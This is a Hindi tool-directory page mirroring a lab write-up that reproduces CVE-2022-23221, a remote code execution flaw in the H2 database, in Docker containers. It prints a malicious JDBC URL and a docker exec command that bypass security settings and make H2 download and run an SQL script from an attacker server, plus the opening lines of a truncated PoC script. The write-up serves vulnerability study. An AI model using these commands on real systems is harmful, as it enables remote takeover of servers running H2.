Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
H2-database-CVE-2022-23221 — CVE-2022-23221 | Kitploit
उपकरण/GitHubGitHub/straightsang/h2-database-cve-2022-23221
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षाडेटाबेस सुरक्षालैब और अभ्यास
GitHubstraightsang/h2-database-cve-2022-23221

H2-database-CVE-2022-23221

CVE-2022-23221

रिपॉजिटरी देखें
231 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

H2 Database RCE (CVE-2022-23221)


1. सारांश

  • संदर्भ: https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • H2 एक रिलेशनल डेटाबेस प्रबंधन प्रणाली है, जो SQL इंजन के भीतर Java कोड को सीधे संकलित और निष्पादित करने की सुविधा प्रदान करती है।

  • H2 ड्राइवर JDBC URL को पार्स करके एप्लिकेशन और डेटाबेस के बीच कनेक्शन स्थापित करता है। इस समय URL में शामिल कॉन्फ़िगरेशन पैरामीटर के माध्यम से डेटाबेस की प्रारंभिक स्थिति या व्यवहार को नियंत्रित किया जा सकता है।

  • समस्या वाले H2 2.1.210 से पहले के संस्करणों में JDBC URL के INIT पैरामीटर के माध्यम से दूरस्थ SQL स्क्रिप्ट निष्पादित करने की समस्या है। हमलावर इसका दुरुपयोग करके दूरस्थ रूप से एक छेड़छाड़ की गई SQL स्क्रिप्ट इंजेक्ट करता है और उसके आंतरिक सिंटैक्स के माध्यम से सिस्टम कमांड निष्पादित करता है, जिससे CVE-2022-23221 कमज़ोरी उत्पन्न होती है।

  • इस कमज़ोरी की विशेषताएँ निम्नलिखित हैं।

    1. प्रमाणीकरण की आवश्यकता नहीं: यदि किसी के पास केवल JDBC URL दर्ज करने का अधिकार है, तो कोई भी इस कमज़ोरी का उपयोग करके सिस्टम का नियंत्रण छीन सकता है।
    2. सेवा शुरू होने पर स्वतः निष्पादन: यदि हमलावर केवल कॉन्फ़िगरेशन फ़ाइल को संशोधित करता है, तो h2 का उपयोग करने वाली सेवा शुरू होने पर स्वतः RCE (दूरस्थ कोड निष्पादन) हो जाता है।
    3. छिपाव: डेवलपर के लिए हमले को पहचानना कठिन होता है।
    4. व्यापक प्रभाव सीमा: H2 की तेज़ गति और हल्केपन के कारण H2 का उपयोग विभिन्न वेब सेवाओं के विकास/परीक्षण के लिए किया जाता है। कॉन्फ़िगरेशन फ़ाइल के माध्यम से, या उपयोगकर्ता के इनपुट को प्राप्त करके JDBC URL सेट करने वाला प्रत्येक वातावरण इस कमज़ोरी का उपयोग करने वाले हमले का लक्ष्य बन सकता है, इसलिए इसका प्रभाव व्यापक है।
  • कमज़ोरी प्रभाव सीमा

    • प्रभावित संस्करण: H2 2.1.210 से कम
    • पैच संस्करण: H2 2.1.210 या उससे अधिक

2. कमज़ोरी की शर्तें

  • H2 2.1.210 से पहले का संस्करण होना चाहिए।
  • JDCB URL में IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’ शामिल होना चाहिए।
    1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> सुरक्षा सेटिंग्स को बायपास करना
      • यदि यह पैरामीटर मौजूद है, तो सुरक्षा सेटिंग्स निष्क्रिय हो जाती हैं, इसलिए इनिशियलाइज़ेशन के समय दूरस्थ स्क्रिप्ट निष्पादन कमांड को अवरुद्ध नहीं किया जाता और वह यथावत निष्पादित हो जाता है।
    2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> एप्लिकेशन और DB के कनेक्शन पर स्वतः निष्पादित होने वाला SQL कमांड
      • यदि INIT पैरामीटर के मान में SQL कमांड RUNSCRIPT और दुर्भावनापूर्ण स्क्रिप्ट का पता शामिल है, तो H2 एप्लिकेशन और H2 DB के बीच कनेक्शन स्थापित होने पर उस सर्वर से कनेक्ट करके फ़ाइल को डाउनलोड करके निष्पादित करता है।
  • डाउनलोड की गई SQL स्क्रिप्ट के आंतरिक भाग में CREATE ALIAS SQL सिंटैक्स होना चाहिए।
    • दूरस्थ रूप से निष्पादित की जाने वाली स्क्रिप्ट के आंतरिक भाग में CREATE ALIAS सिंटैक्स H2 को DB के भीतर स्क्रिप्ट के Java फ़ंक्शन को निष्पादित करने के लिए प्रेरित करता है, और परिणामस्वरूप RCE उत्पन्न होता है।




3. वातावरण निर्माण

  • परिदृश्य

    • कमज़ोर H2 वातावरण का निर्माण करें और H2 में दुर्भावनापूर्ण JDBC URL दर्ज करें। H2 इस URL को उचित सत्यापन के बिना पार्स करता है और attacker सर्वर से sql फ़ाइल प्राप्त करके निष्पादित करता है। यदि h2-vulnerable सर्वर के लॉग में "EXPLOITED" स्ट्रिंग के साथ कमांड id, whoami, pwd के निष्पादन परिणाम आउटपुट होते हैं, तो इसका अर्थ है कि कमज़ोर H2 वातावरण का निर्माण हो चुका है और H2 द्वारा दुर्भावनापूर्ण JDBC URL को पार्स करने की प्रक्रिया में बाहरी attacker सर्वर से exploit.sql फ़ाइल दूरस्थ रूप से डाउनलोड होकर निष्पादित हुई है।
  • वातावरण निर्माण

    docker compose up -d 
    

    docker ps

    • कमांड निष्पादित करने पर निम्नलिखित वातावरण शुरू होते हैं।
    • h2-vulnerable: H2 2.0.206 (पैच से पहले का कमज़ोर संस्करण)
      • H2 वेब कंसोल: http://your-ip:8082
      • TCP सर्वर: tcp://your-ip:9092
    • attacker: HTTP सर्वर
      • http://your-ip:8000 : exploit.sql फ़ाइल प्रदान करता है
  • पर्यावरण कॉन्फ़िगरेशन के बाद http://your-ip:8082 पर जाने पर H2 वेब पेज दिखाई देता है।




4. पुनरुत्पादन प्रक्रिया

: वेब कंसोल में सुरक्षा नीति लागू होने के कारण कमज़ोरी की शर्त बनने वाले पैरामीटर फ़िल्टर हो सकते हैं, इसलिए दुर्भावनापूर्ण पैरामीटर वाला JDBC URL CLI के माध्यम से सीधे दर्ज करके कमज़ोरी का पुनरुत्पादन करें और उसका परिणाम जाँचें।

[सामान्य अनुरोध case]

  • सामान्य JDBC URL: "jdbc:h2:mem:test"

  • सामान्य अनुरोध कमांड

    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    
  • निष्पादन परिणाम CLI आधारित निष्पादन

    • attacker सर्वर पर कोई अनुरोध नहीं आया
    • h2-vulnerable सर्वर पर कोई विशेष लॉग आउटपुट नहीं हुआ

[कमज़ोरी आक्रमण case]

  • दुर्भावनापूर्ण JDBC URL: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

1. आक्रमण निष्पादन

  • दुर्भावनापूर्ण JDBC URL को H2 ड्राइवर में दर्ज करके attacker सर्वर से कनेक्शन का प्रयास करें। इस समय URL दर्ज करने की 2 विधियाँ हैं।

    1. CLI के माध्यम से H2 Shell में दुर्भावनापूर्ण JDBC URL सीधे दर्ज करें।
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    

    CLI आधारित निष्पादन

    1. PoC फ़ाइल निष्पादित करें।
    python3 poc.py
    

    poc.py निष्पादन

2. फ़ाइल अनुरोध और निष्पादन

  • H2 JDBC URL के INIT पैरामीटर में निर्दिष्ट INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' के अनुसार attacker सर्वर से exploit.sql फ़ाइल का अनुरोध (HTTP GET) करता है और इसे H2 डेटाबेस के भीतर निष्पादित करता है।

    1. docker logs attacker चलाने पर h2-vulnerable सर्वर से आए exploit.sql फ़ाइल अनुरोध का लॉग देखा जा सकता है।
    docker logs attacker
    

    1. attacker सर्वर अनुरोधित exploit.sql फ़ाइल लौटाता है, और h2-vulnerable सर्वर प्राप्त exploit.sql फ़ाइल को निष्पादित करता है। इस समय स्क्रिप्ट के भीतर का CREATE ALIAS कथन जावा कोड निष्पादन को प्रेरित करके RCE उत्पन्न करता है


5. poc.py कोड

#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys
टूल डाउनलोड करें